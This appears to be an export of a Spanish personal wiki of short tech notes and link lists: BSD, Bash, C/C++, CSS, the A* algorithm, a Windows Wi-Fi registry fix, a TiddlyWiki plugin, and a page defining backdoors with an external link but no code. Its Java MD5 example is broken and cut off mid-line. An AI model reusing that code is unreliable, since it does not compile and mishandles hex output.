BSD son las siglas de Berkeley Software Distribution, y hacen referencia a la versión de UNIX mantenida por la Universidad de California, en Berkeley.

Esta versión de UNIX tuvo una serie de problemas legales de patentes que se resolvieron con la versión 4.4-lite, libre de código propietario, y que ha servido de base a toda una familia de sistemas operativos libres como FreeBSD, OpenBSD y NetBSD.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Berkeley_Software_Distribution
** Derivados de BSD: http://es.wikipedia.org/wiki/Anexo:Distribuciones_BSD
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Un programa "backdoor" es una shell remota que permite ejecutar comandos en un ordenador comprometido. Generalmente, se  intentan esconder del usuario, para usar de forma encubierta. No obstante, también pueden usarse de forma completamente benigna, como herramientas de administración remota.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! PHP
* Backdoors en PHP: http://www.hackplayers.com/2012/09/backdoors-y-mas-backdoors-en-php.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Varias [[backdoor|Backdoors]] simples en PHP. Extraido de:
http://www.hackplayers.com/2012/09/backdoors-y-mas-backdoors-en-php.html

! Referencias
* http://www.hackplayers.com/2012/09/backdoors-y-mas-backdoors-en-php.html
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Base_de_datos
** Bases de datos en grafos: http://purbon.com/en/graph_databases
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Bash es un shell muy popular en entornos [[Linux]], también disponible en otros [[*NIX]]
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Bash
** Página principal: http://www.gnu.org/software/bash/bash.html

* ''Manuales de usuario:''
** Manual: http://www.gnu.org/software/bash/manual/
** Guía para principiantes (eng): http://www.tldp.org/LDP/Bash-Beginners-Guide/html/
** Tutorial (eng): http://www.hypexr.org/bash_tutorial.php
** Guía definitiva del historial de Bash (eng): http://www.catonmat.net/blog/the-definitive-guide-to-bash-command-line-history/
** Guía (eng): http://bash.cyberciti.biz/guide/Main_Page

* ''Manuales de programación:''
** Manual de introducción (esp): http://es.tldp.org/COMO-INSFLUG/COMOs/Bash-Prog-Intro-COMO/Bash-Prog-Intro-COMO.html
** Manual de introducción (eng): http://www.tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html
** Programación avanzada (eng): http://www.tldp.org/LDP/abs/html/
** Manual de referencia: http://www.network-theory.co.uk/docs/bashref/
** Errores comunes: http://www.cyberhades.com/2010/12/26/errores-comunes-en-bash/

* ''Utilidades, librerías y herramientas:''
** Resty, comandos REST para bash: http://thechangelog.com/post/1217510580/resty-rest-client-bash-zsh
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre scripts para MS-DOS y Windows. Se reconocen habitualmente por su extensión {{{.bat}}} o {{{.cmd}}}.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Batch
</part>
! Ejemplos de código
<part codigo>
<<tagging [[CodigoBatch]] >>
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
BeOS era un sistema operativo orientado a alto rendimiento en aplicaciones multimedia. El núcleo era de tipo microkernel, y estaba muy optimizado para mostrar gráficos, sonido, vídeo y 3D. También estaba optimizado para uso en máquinas multinúcleo, algo bastante innovador para la época en sistemas operativos para escritorio. El rasgo distintivo visual de BeOS era la barra de título amarilla y que no ocupaba todo el ancho de la ventana.

Un intención inicial fue la de ser una alternativa o sustituto a MacOS, pero nunca logró alcanzar tanta popularidad.

Hoy en día existen algunos proyectos para intentar rescatarlo y hacer sistemas operativos siguiendo el paradigma de BeOS, como [[Haiku]].
</part>
!Enlaces
<part enlaces>
* ''General:''
** http://es.wikipedia.org/wiki/BeOS
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre BeanShell, la versión Script de Java (nada que ver con [[JavaScript]]).
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/BeanShell
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name|BetterTimelineMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#BetterTimelineMacro|
|Version|0.5 beta|
|Requires|~TW2.x|
!!!Description:
A replacement for the core timeline macro that offers more features:
*list tiddlers with only specfic tag
*exclude tiddlers with a particular tag
*limit entries to any number of days, for example one week
*specify a start date for the timeline, only tiddlers after that date will be listed.

!!!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.
Edit the ViewTemplate to add the fullscreen command to the toolbar.

!!!Syntax:
{{{<<timeline better:true>>}}}
''the param better:true enables the advanced features, without it you will get the old timeline behaviour.''

additonal params:
(use only the ones you want)
{{{<<timeline better:true  onlyTag:Tag1 excludeTag:Tag2 sortBy:modified/created firstDay:YYYYMMDD maxDays:7 maxEntries:30>>}}}

''explanation of syntax:''
onlyTag: only tiddlers with this tag will be listed. Default is to list all tiddlers.
excludeTag: tiddlers with this tag will not be listed.
sortBy: sort tiddlers by date modified or date created. Possible values are modified or created.
firstDay: useful for starting timeline from a specific date. Example: 20060701 for 1st of July, 2006
maxDays: limits timeline to include only tiddlers from the specified number of days. If you use a value of 7 for example, only tiddlers from the last 7 days will be listed.
maxEntries: limit the total number of entries in the timeline.


!!!History:
*28-07-06: ver 0.5 beta, first release

!!!Code
***/
//{{{
// Return the tiddlers as a sorted array
TiddlyWiki.prototype.getTiddlers = function(field,excludeTag,includeTag)
{
          var results = [];
          this.forEachTiddler(function(title,tiddler)
          {
          if(excludeTag == undefined || tiddler.tags.find(excludeTag) == null)
                        if(includeTag == undefined || tiddler.tags.find(includeTag)!=null)
                                      results.push(tiddler);
          });
          if(field)
                   results.sort(function (a,b) {if(a[field] == b[field]) return(0); else return (a[field] < b[field]) ? -1 : +1; });
          return results;
}



//this function by Udo
function getParam(params, name, defaultValue)
{
          if (!params)
          return defaultValue;
          var p = params[0][name];
          return p ? p[0] : defaultValue;
}

window.old_timeline_handler= config.macros.timeline.handler;
config.macros.timeline.handler = function(place,macroName,params,wikifier,paramString,tiddler)
{
          var args = paramString.parseParams("list",null,true);
          var betterMode = getParam(args, "better", "false");
          if (betterMode == 'true')
          {
          var sortBy = getParam(args,"sortBy","modified");
          var excludeTag = getParam(args,"excludeTag",undefined);
          var includeTag = getParam(args,"onlyTag",undefined);
          var tiddlers = store.getTiddlers(sortBy,excludeTag,includeTag);
          var firstDayParam = getParam(args,"firstDay",undefined);
          var firstDay = (firstDayParam!=undefined)? firstDayParam: "00010101";
          var lastDay = "";
          var field= sortBy;
          var maxDaysParam = getParam(args,"maxDays",undefined);
          var maxDays = (maxDaysParam!=undefined)? maxDaysParam*24*60*60*1000: (new Date()).getTime() ;
          var maxEntries = getParam(args,"maxEntries",undefined);
          var last = (maxEntries!=undefined) ? tiddlers.length-Math.min(tiddlers.length,parseInt(maxEntries)) : 0;
          for(var t=tiddlers.length-1; t>=last; t--)
                  {
                  var tiddler = tiddlers[t];
                  var theDay = tiddler[field].convertToLocalYYYYMMDDHHMM().substr(0,8);
                  if ((theDay>=firstDay)&& (tiddler[field].getTime()> (new Date()).getTime() - maxDays))
                     {
                     if(theDay != lastDay)
                               {
                               var theDateList = document.createElement("ul");
                               place.appendChild(theDateList);
                               createTiddlyElement(theDateList,"li",null,"listTitle",tiddler[field].formatString(this.dateFormat));
                               lastDay = theDay;
                               }
                  var theDateListItem = createTiddlyElement(theDateList,"li",null,"listLink",null);
                  theDateListItem.appendChild(createTiddlyLink(place,tiddler.title,true));
                  }
                  }
          }

          else
              {
              window.old_timeline_handler.apply(this,arguments);
              }
}
//}}}
!Descripción
<part descripcion>
Bibliotecas temáticas o generales de todo tipo: documentación, técnicas, ebooks, literatura, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** E-Books Directory: http://www.e-booksdirectory.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Bibliotecas y repositorios de documentación relacionadas con la informática en general o con campos concretos en particular.
</part>
!Enlaces
<part enlaces>
!! General:
* Free Technology Academy: http://ftacademy.org/materials
* IBM Red Books: http://www.redbooks.ibm.com/
* Selección de """CyberHades""": http://www.cyberhades.com/?s=libros+gratuitos
* Libros gratuitos de Microsoft: http://www.cyberhades.com/2010/06/08/libros-gratuitos-de-microsoft/
* Libros Web (CSS, HTML, etc): http://librosweb.es/
* Free ebooks: http://free-ebooks-download.org/
* Speed Books Argentina: http://speedbooksargentina.blogspot.com/search/label/Adm%20de%20Redes
* Computer Elecrtonic Ebooks: http://freee-booksdownload.blogspot.com/
* Libros informáticos en E-Books Directory: http://www.e-booksdirectory.com/listing.php?category=9
* Ebooks de Microsoft gratis (temática diversa): https://blogs.msdn.com/b/mssmallbiz/archive/2013/06/18/huge-collection-of-free-microsoft-ebooks-for-you-including-office-office-365-sharepoint-sql-server-system-center-visual-studio-web-development-windows-windows-azure-and-windows-server.aspx?Redirected=true

!! Programación:
* Books for Java: http://books4java.blogspot.com/
* Java books: http://www.javabooks.org/
* Free Programming Books: http://www.e-booksdirectory.com/programming.php

! Administración de sistemas, redes y seguridad:
* Biblioteca gratuita del SANS: http://www.sans.org/reading_room/

!! Hardware y electrónica:
* Hardware en E-Books Directory: http://www.e-booksdirectory.com/listing.php?category=37
* Manuales de servicio de impresoras: http://www.feedroller.com/Store/service_manuals.php
* Manuales de servicio: http://www.eserviceinfo.com/
* Manuales de reparación: https://www.ifixit.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Bibliotecas de textos literarios, novela, poesía, etc.
</part>
!Enlaces
<part enlaces>
!! Ebooks genéricos (PDF, TXT, DOC)
* Recopilatorio de bibliotecas online: http://120linux.com/descargar-libros/
* Filibusteros: http://www.filibusteros.com/index.php
* Bibliotheka: http://www.bibliotheka.org/?/clasif/
* Libros Tauro: http://www.librostauro.com.ar/librostauro.php
* La Biblioteca Oculta: http://bibliotecaoculta.es.tl/
* Qué de libros: http://www.quedelibros.com/
* Free ebooks: http://free-ebooks-download.org/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Bibliotecas con información sobre todo tipo de ciencias, ingenierías y disciplinas técnicas.
</part>
!Enlaces
<part enlaces>
!! Varios / General:
* La Biblio: http://www.labiblio.com/
* Apuntes de ciencias: http://soko.com.ar/
* Ecolar.com: http://escolar.com/ 
* Ingeniería en E-Books Directory: http://www.e-booksdirectory.com/listing.php?category=73
* Ciencia en E-Books Directory: http://www.e-booksdirectory.com/listing.php?category=1

!! Matemáticas:
* NIST Digital Library of Mathematical Functions (DLMF): http://dlmf.nist.gov/
* La Biblio: http://www.labiblio.com/
* Libros de Euclides traducidos: http://www.euclides.org/
* Libros de Carlos Ivorra Castillo: http://www.uv.es/ivorra/Libros/
* Materiales de formación del MEC: http://formacionprofesorado.educacion.es/index.php/es/materiales

!! Electrónica
* Libros de mikroElektronika: http://www.mikroe.com/eng/categories/view/31/various-electronic-books/
* Libros de Instructables: http://www.cyberhades.com/2010/12/21/proyectos-de-instructables-ebook-gratuito
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre biología y otras ciencias relacionadas con la vida.
</part>
!Enlaces
<part enlaces>
* ''misc:''
** Enlace 1: http://example.com
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre botánica y todo tipo de plantas y vegetales.
</part>
!Enlaces
<part enlaces>
* ''misc:''
** Enlace 1: http://example.com
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Tareas de mantenimiento, limpieza y mejora del hogar.
</part>
!Enlaces
<part enlaces>
!! Bricolage
* Como hacer bricolage casero: http://comohacerbricolajecasero.blogspot.com
!! Jardinería
* Sección "hogar y jardín" de la practicopedia: http://hogar-y-jardin.practicopedia.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Bucles a la [[Python]] ^^[[<editar>|$1]]^^
JavaScript, al igual que [[Python]] y las últimas versiones de [[Java]], soporta bucles de tipo for-each para recorrer colecciones. Esta es su sintaxis:
<code javascript>
for (variable in object)
{
    code to be executed
}
</code>
<<showtoc>>
!Descripción
<part descripcion>
Consejos y buenas prácticas que todo programador debería conocer y seguir.
</part>
! Enlaces
<part enlaces>
!! General
* 10 Papers Every Proggramer Should Read: http://blog.objectmentor.com/articles/2009/02/26/10-papers-every-programmer-should-read-at-least-twice
* Buenas prácticas para programar en C: http://www.embedded.com/columns/barrcode/216200567?printable=true
* 12 pasos para programar mejor: http://www.joelonsoftware.com/articles/fog0000000043.html
* No Silver Bullet: http://www.virtualschool.edu/mon/SoftwareEngineering/BrooksNoSilverBullet.html
* The Humble Programmer: http://www.cs.utexas.edu/~EWD/transcriptions/EWD03xx/EWD340.html
* Aprende a programar en 10 años (inglés): http://norvig.com/21-days.html
* Aprende a programar en 10 años (español): http://loro.sourceforge.net/notes/21-dias.html
* Referencia rápida de Pragmatic Programmer: http://www.cyberhades.com/2011/02/24/guia-de-referencia-rapida-para-the-pragmatic-programmer
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
Es frustrante comprobar que Windows Vista y Windows 7 son incapaces de conectar con una red wireless que use el protocolo WPA-PSK con cifrado TKIP. Para resolverlo hay que seguir los siguientes pasos:

!Resolución
Haga clic en Inicio, escriba regedit en el cuadro Iniciar búsqueda y haga clic en regedit en la lista Programas.
# Pulsa en inicio, y escribe "regedit" en el cuadro "iniciar búsqueda". Si se le pide la contraseña del administrador o que confirme la acción, escriba su contraseña o haga clic en Continuar.
# {{multiline{
Busque la siguiente subclave del Registro y haga clic en ella:
{{{
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}
}}}
En esta ruta de acceso del Registro, haga clic en la subclave (GUID) que corresponde al adaptador de red que está conectado a la red.
}}}
# En el menú Edición, seleccione Nuevo y haga clic en Valor DWORD (32 bits).
# En el cuadro Nuevo valor #1, escriba ~DhcpConnEnableBcastFlagToggle y presione Entrar.
# Haga clic con el botón secundario del mouse en ~DhcpConnEnableBcastFlagToggle y después haga clic en Modificar.
# En el cuadro Información del valor, escriba 1 y haga clic en Aceptar.
# Cierre el Editor del Registro.

En algún sitio he visto que también recomiendan cambiar la configuración de la conexión y activar "Conectar aunque no se envíe SSID" o algo así.

!! Referencias:
* http://www.adslzone.net/postt128292.html
* http://support.microsoft.com/kb/928233
* http://www.adslayuda.com/foro/routers-adsl/3com-11g-3cradsl72-3crwdr100y-72/problema-conexion-wifi-windows-vista-t83046.html
! Introducción
El algoritmo A* (se lee como "a-estrella") es un algoritmo de búsqueda en [[grafos|Grafo]] . Este algoritmo es capaz de encontrar el camino de menor coste entre dos nodos, siempre y cuando se cumplan una serie de requisitos. Este algoritmo calcula la idoneidad de cada nodo del camino calculando la suma del coste $g(x)$ y la función heurística $h'(x)$.

El sistema resultante es una mezcla de búsqueda en profundidad (función heurística) y búsqueda en anchura (función de coste). Además, es una algoritmo completo, por lo que si existe una solución, dará con ella.

! Explicación para mortales
El algoritmo A* es un algoritmo que permite encontrar el camino más corto entre 2 puntos conectados (nodos). Un ejemplo típico de uso es el ámbito lúdico es permitir que un personaje vaya de un punto a otro esquivando los obstáculos.

La búsqueda se basa en valorar las casillas adyacentes y elegir la más adecuada y que más acerque al objetivo. Para ello se utilizan dos funciones, llamadas $H$ y $G$. A la suma de los valores de cada función para un punto $x$ se lo denomina $F$.

!! Función de coste
$G$ es el coste (número de casillas) para ir desde un punto que se está probando, hasta el punto del que se ha partido. Cuanto más largo el camino, mayor será el coste. Calcular $G$ es tan fácil como sumar el número de casillas que se han recorrido hasta el momento.

Según se acepten recorridos en diagonal o sólo en casillas arriba, abajo, a izquierda o derecha, puede cambiar ligeramente el algoritmo, porque la distancia en diagonal es exactamente la raiz cuadrada de la suma de los lados. Vamos, que si tomamos que la distancia entre una casilla y la que tiene a la derecha es "1", la que tiene en diagonal arriba a la derecha es \sqrt{2}. Para simplificar las cuentas se usan sólo valores enteros, que son más rápidos de calcular, usualmente 10 y 14, ó 100 y 141 si se quiere mayor precisión.

!! Función estimativa
$H$ es la llamada "función heurística", y representa la estimación del coste para ir desde esa casilla hasta el final. Al contrario que la función $G$, que nos da un dato preciso y fácilmente calculable, $H$ es una estimación más o menos precisa y muchas veces difícil de calcular. Hay muchas formas de calcular $H$ y según lo idónea que sea, el algoritmo será más o menos eficiente.

La función heurística más sencilla es el llamado "método Manhattan". Consiste en contar cuantas casillas verticales y horizontales habría que recorrer para llegar al destino. El nombre es una referencia a la estructura en forma de rejilla de la ciudad de Manhattan (si el algoritmo lo hubiera desarrollado un español lo podría haber llamado Algoritmo Barcelona, por ejemplo). Es una analogía a la forma de contar manzanas para llegar desde un sitio a otro en una ciudad con esa estructura.

Se cuentan pues cuantas casillas en vertical y cuantas en horizontal separan el punto calculado del destino, y se multiplica por el coste de pasar de una casilla a la adyacente (normalmente 10 ó 100, según la precisión utilizada).

! Aplicación del algoritmo paso por paso
!! Área de búsqueda
Entre las diversas aplicaciones que tiene la búsqueda del camino óptimo dentro de un grafo, vamos a usar el ejemplo anterior para hacer más sencillo en entendimiento del algoritmo. Esto es, un agente encerrado dentro de un tablero cuadriculado busca el camino más corto entre dos puntos esquivando distintos obstáculos. Todas las casillas están conectadas entre si, y algunas son transitables y otras intransitables. Como es lógico suponer, el agente sólo puede pasar por las transitables.

!! Preparativos
Lo primero que hay que hacer es crear dos listas: la lista abierta y la lista cerrada. En la lista abierta se almacenan las casillas (nodos de un grafo para los más puristas) que van a ser inspeccionadas, y en la lista cerrada las casillas que ya han sido revisadas. Además, para cada casilla se necesitará una variable que almacene desde que casilla se ha llegado a esta, y se llamará "casilla padre". Por supuesto también hay que tener una casilla "A" de la que se parte y otra casilla "B" a la que se quiere llegar.

Una vez que se tienen todos los elementos, puede comenzar la búsqueda.

!! Algoritmo de búsqueda
#{{multiline{
Primero que añade la casilla A de la que se parte a la lista abierta.
}}}
#{{multiline{
Después se miran todas las casillas que hay contiguas a la anterior, y se añaden a la lista abierta sólo las transitables. En la casilla padre se guarda la casilla A.
}}}
#{{multiline{
Se mueve la casilla A de la lista abierta a la lista cerrada.
}}}
#{{multiline{
Se calculan los valores de las funciones $H$ y $G$ para cada uno de los elementos de la lista abierta, y se suman para obtener el valor $F$.
}}}
#{{multiline{
Se elige el elemento C que tenga la puntuación $F$ más baja y se mueve de la lista abierta a la lista cerrada.
}}}
#{{multiline{
Se realizan los mismos pasos que se realizaron en el punto 2 con la casilla inicial: se añaden a la lista abierta las casillas transitables que no estén en la lista cerrada, y marca C como la casilla padre.
}}}
#{{multiline{
Si una casilla adyacente ya estaba en la lista, comprueba si el valor $G$ de esa casilla es menor que el valor de $G$ de la casilla actual.
}}}
#{{multiline{
}}}

! Referencias
* http://razonartificial.com/2010/03/a-pathfinding-camino-optimo/
* http://razonartificial.com/pathfinding/
* http://es.wikipedia.org/wiki/Algoritmo_de_b%C3%BAsqueda_A*
* http://www.starcostudios.com/blog/2009/10/algoritmo-a-a-estrella-y-el-supermario/
* http://www.starcostudios.com/blog/category/inteligencia-artificial/pathfinding-inteligencia-artificial/
* http://www-cs-students.stanford.edu/~amitp/gameprog.html
* http://aima.cs.berkeley.edu/python/search.html
* http://www.policyalmanac.org/games/aStarTutorial.htm
* http://www.gamedev.net/reference/articles/article2003.asp
* http://www.laurentluce.com/?p=264
<<showtoc>>
! Descripción
<part descripcion>
Información sobre el lenguaje C
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n_C
* Buenas prácticas para programar en C: http://www.embedded.com/columns/barrcode/216200567?printable=true
* Aprenda C como si estuviera en primero: http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/AnsiC/leng_c.pdf
* Desarrollar C en UNIX, con ejemplos: http://www.thegeekstuff.com/2009/09/how-to-write-compile-and-execute-c-program-on-unix-os-with-hello-world-example/
* Numerical recipes in C: http://www.nrbook.com/a/bookcpdf.php
* The C Library Reference: http://www.acm.uiuc.edu/webmonkeys/book/c_guide/
* Learn C the Hard Way: http://c.learncodethehardway.org/book/

!! Compiladores
* Tiny C Compiler (wikipedia): http://en.wikipedia.org/wiki/TinyCC
* Tiny C Compiler (homepage): http://bellard.org/tcc/
* Pelles C (wikipedia): http://en.wikipedia.org/wiki/Pelles_C
* Pelles C (homepage): http://www.smorgasbordet.com/pellesc/
* Portable C Compiler (wikipedia): http://en.wikipedia.org/wiki/Portable_C_Compiler
* Portable C Compiler (homepage): http://pcc.ludd.ltu.se/
* vbcc (wikipedia): http://en.wikipedia.org/wiki/VBCC
* vbcc (homepage): http://www.compilers.de/vbcc.html
* Turbo C (wikipedia): http://en.wikipedia.org/wiki/Turbo_C
* Turbo C (descarga): http://edn.embarcadero.com/article/20841
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre el lenguaje C++ (también llamado "c plus plus" o "cpp")
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/C%2B%2B
* C++0x: http://en.wikipedia.org/wiki/C++0x

!! Compiladores

!! Libros
* Colección Thinking in... (incluido C++): http://www.mindviewinc.com/Books/downloads.html

!! Tutoriales
* C++ Language Tutorial: http://www.cplusplus.com/doc/tutorial/
* C++ Con Clase: http://www.conclase.net/c/curso/index.php
* C++ Básico: http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/Cpp/basico/cppbasico.pdf
* C++ Avanzado: http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/Cpp/avanzado/cppavan.pdf
* Tutorial de C++ por entregas: http://www.linux-party.com/modules.php?name=News&file=article&sid=6929/tutorial-de-c/c++,-programar-paso-a-paso,-para-linux,-windows-y-mac
* Curso de Zator: http://www.zator.com/Cpp/
* Artículos del crador de C++: http://www.research.att.com/~bs/C++.html
* Patrones para el uso de templates: http://eli.thegreenplace.net/2011/04/22/c-template-syntax-patterns/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
//Véase// [[CA]]
!Descripción
<part descripcion>
CPU son las siglas en inglés de "//Central Processing Unit//" o, en español, "//Unidad Central de Proceso//". Es la parte central de un computador, y se encarga de realizar las operaciones y mandatos que componen un programa informático.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Unidad_central_de_procesamiento
** Información sobre múltiples procesadores tipo Intel: http://sandpile.org/
** Comparativa de procesadores masiva (en francés): http://www.clubic.com/processeur/article-375190-1-comparatif-processeurs-intel-amd.html
** Información y comparativas: http://www.motherboards.org/reviews/processors
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Implementación en C de [[Python]]. Es la implementación más habitual y es muy común disponer de alguna versión en casi cualquier máquina [[Linux]] o [[UNIX]].

Además de la implementación en C existen otras implementaciones:
* [[Jython]]: Implementación de Python hecha en Java
* IronPython: Implementación para .Net de Python
* PyPy: Implementación de Python hecha... ¡en [[Python]]!
!Descripción
<part descripcion>
Información sobre las hojas de estilo en cascada (CSS)
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Hojas_de_estilo_en_cascada
* ''Documentacion y tutoriales:''
** Tutorial rápido de CSS: http://mundogeek.net/archivos/2010/03/02/tutorial-rapido-de-css/
** Referencia: http://w3schools.com/css/css_reference.asp
** Otra guía de referencia: http://reference.sitepoint.com/css
** 50 ejemplos de CSS: http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html
** 101 técnicas (parte I): http://www.noupe.com/design/101-css-techniques-of-all-time-part-1.html
** 101 técnicas (parte II): http://www.noupe.com/css/101-css-techniques-of-all-time-part2.html
** Todo sobre los esquemas de color y paletas: http://www.avivadirectory.com/color/
** Soporte de CSS en clientes email: http://www.webappers.com/2008/06/14/a-guide-to-css-support-in-email/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Titulo ^^[[<editar>|$1]]^^
Bloque de CSS para Stylish. Pone las letras en Courier New negro, los fondos en blanco y sin imágenes, y esconde las imágenes.
<code css>
@-moz-document url-prefix(http://), url-prefix(https://), url-prefix(ftp://), url-prefix(file://) {
* { color: black !important ; background: none !important; background-color: ghostwhite!important ; font-family: "lucida console","courier new",courier !important; font-size: small; border-color: #CCCCCC !important}
a {text-decoration: underline !important}
a:visited {font-style: italic !important }
a:hover, a:active {color: grey !important }
img { opacity:0.1 !important}
img:hover { opacity:0.6 !important }
}
</code>
!Descripción
<part descripcion>
Información sobre el lenguaje C# (también conocido como C Sharp)
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/C_Sharp

* ''Tutoriales y manuales:''
** C# para programadores Java: http://mundogeek.net/archivos/2009/05/08/introduccion-a-c-para-programadores-java/
** Tutorial de Hack-a-day: http://hackaday.com/2010/09/03/c-sharp-development-101-a-tutorial-series/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Cómo hacer un buen Curriculum Vitae y como conseguir que sea efectivo
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Curr%C3%ADculum_v%C3%ADtae
** Modelo europeo de CV: https://europass.cedefop.europa.eu/europass/home/vernav/Europass+Documents/Europass+CV.csp?loc=es_ES
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Aparatos, trastos y cacharros electrónicos.
</part>
! Enlaces
<part enlaces>
!! General

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Calcular un MD5 (o cualquier otra suma de comprobación) de un String es algo bastante habitual, pero requiere más trabajo del que parece.

En los siguientes ejemplos se va a ver como generar el MD5 de una cadena de texto y como se devuelve como una cadena de texto con el valor del MD5 como una cadena hexadecimal.

! Código

!! Cálculo del MD5 como array de bytes
<code java>
public static byte[] calcumarMD5(String texto){
    try {
        //Calcula los bytes del MD5
        MessageDigest digest = java.security.MessageDigest.getInstance("MD5");
        digest.update(texto.getBytes());
        return digest.digest();
    } catch (Exception ex) {
        ret = null;
    }
}
</code>

!! Conversión de array de bytes a String con valores hexadecimales
Este paso es opcional pero será requerido en muchas ocasiones. El siguente código convierte el array de bytes a una cadena hexadecimal de forma eficiente
<code java>
//Usado para la conversión de bytes a hexadecimal
static final byte[] HEXES = "0123456789abcdef".getBytes();
/**
 * Convierte un array de bytes en una cadena de texto con los valores en
 * hexadecimal.
 * @param bytes Array de Bytes
 * @return String con valores hexadecimales en minúscula
 */
public static String byteToHexString(byte[] bytes){
    try{
        //Convierte el array de bytes en un string hexadecimal
        final StringBuilder hex = new StringBuilder( 2 * bytes.length );
        for ( final byte b : bytes ) {
            hex.append(HEXES[(b >> 4) & 0xF])
